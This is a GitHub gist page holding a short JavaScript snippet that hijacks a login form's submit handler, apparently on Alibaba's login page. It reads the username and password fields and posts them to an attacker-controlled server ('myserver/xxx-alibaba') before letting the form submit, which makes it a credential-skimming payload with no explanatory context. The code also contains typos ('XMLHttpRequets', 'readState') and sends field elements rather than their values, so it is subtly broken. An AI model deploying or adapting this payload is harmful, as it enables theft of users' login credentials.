Skip to content

Instantly share code, notes, and snippets.

@Voorivex
Created April 14, 2019 16:31
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Voorivex/fa975b30262b54ca3a6a671988e088e3 to your computer and use it in GitHub Desktop.
Save Voorivex/fa975b30262b54ca3a6a671988e088e3 to your computer and use it in GitHub Desktop.
document.forms[0].onsubmit = function() {
var u = document.getElementById('fm-login-id');
var p = document.getElementById('fm-login-password');
var s = new XMLHttpRequets();
s.open('POST', 'https://myserver/xxx-alibaba/');
s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
s.onreadystatechange = function() {
if (s.readState == 4) {
document.forms[0].submit();
}
}
s.send(`u=${u}&p=${p}`);
return false;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment